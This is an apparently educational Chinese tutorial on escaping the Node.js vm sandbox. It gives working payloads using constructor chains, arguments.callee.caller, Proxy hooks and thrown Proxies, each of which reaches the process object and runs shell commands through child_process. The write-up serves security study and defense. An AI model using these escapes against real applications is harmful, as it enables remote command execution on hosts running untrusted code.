详解: https://xz.aliyun.com/t/11859?time__1311=mqmx0DBD9DyDuBYD%2FQbiQQdO70ttD%3DY4D&alichlgref=https%3A%2F%2Fcn.bing.com%2F

vm逃逸最重要的就是一个作用域的问题,如何逃离vm创建的作用域,逃离到global去,然后获取到process对象,进而用process去引用require命令执行

1.一些vm模块用法

1
2
3
4
5
6
7
8
9
10
11
const util = require('util');
const vm = require('vm');
const sandbox = {
animal: 'cat',
count: 2
};
const script = new vm.Script('count += 1; name = "kitty";');
const context = vm.createContext(sandbox);
script.runInContext(context);
console.log(util.inspect(sandbox));
// { animal: 'cat', count: 3, name: 'kitty' }
1
2
3
4
5
6
7
8
const util = require('util');
const vm = require('vm');
global.globalVar = 3;
const sandbox = { globalVar: 1 };
vm.createContext(sandbox);
vm.runInContext('globalVar *= 2;', sandbox);
console.log(util.inspect(sandbox)); // { globalVar: 2 }
console.log(util.inspect(globalVar)); // 3

2.VM逃逸

1
2
3
4
"use strict";
const vm = require("vm");
const y1 = vm.runInNewContext(`this.constructor.constructor('return process.env')()`);
console.log(y1);

这样就可以得到process,注意代码的this.constructor.constructor

首先这里面的this指向的是当前传递给runInNewContext的对象,这个对象是不属于沙箱环境的。第一个constructor得到的是这个this对象的构造器,第二个constructor得到的是构造器对象的构造器,也就是Function的Constructor,最后的()是调用这个用Function的constructor生成的函数,最终返回了一个process对象

然后就可以rce了:

1
y1.mainModule.require('child_process').execSync('whoami').toString()

3.绕过

this为null

如果遇到传入sandbox的对象为null时,该怎么办呢,如下:

1
2
3
4
5
6
const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

此时this->null,无法像之前一样逃逸,这时候就得用到函数的一个内置对象属性arguments.callee.caller

我们上面演示的沙箱逃逸其实就是找到一个沙箱外的对象,并调用其中的方法,这种情况下也是一样的,我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const vm = require('vm');
const script =
`(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

重写了沙盒对象中的toString方法,然后再console.log触发,通过arguments.callee.caller获取到了一个沙盒外的对象,进而和上面一样获取process

proxy劫持

如果沙箱外没有执行字符串的相关操作来触发这个toString,并且也没有可以用来进行恶意重写的函数,我们可以用Proxy来劫持属性

proxy就是一个hook函数,在我们去访问对象的属性时(不管是否存在)都会触发这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const vm = require("vm");

const script =
`
(() =>{
const a = new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)

如上代码就是将对象a实例化为了一个Proxy对象,然后访问abc属性(不存在)触发get方法,进而导致命令执行

借助异常处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const vm = require("vm");

const script =
`
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
`;
try {
vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
console.log("error:" + e)
}

上述代码的返回值无法直接利用,应该说是没有返回值
这里我们用catch捕获到了throw出的proxy对象,在console.log时由于将字符串与对象拼接,将报错信息和rce的回显一起带了出来。

参考

https://boogipop.com/2023/03/02/Node.Js%E5%AE%89%E5%85%A8%E5%88%86%E6%9E%90/#vm%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8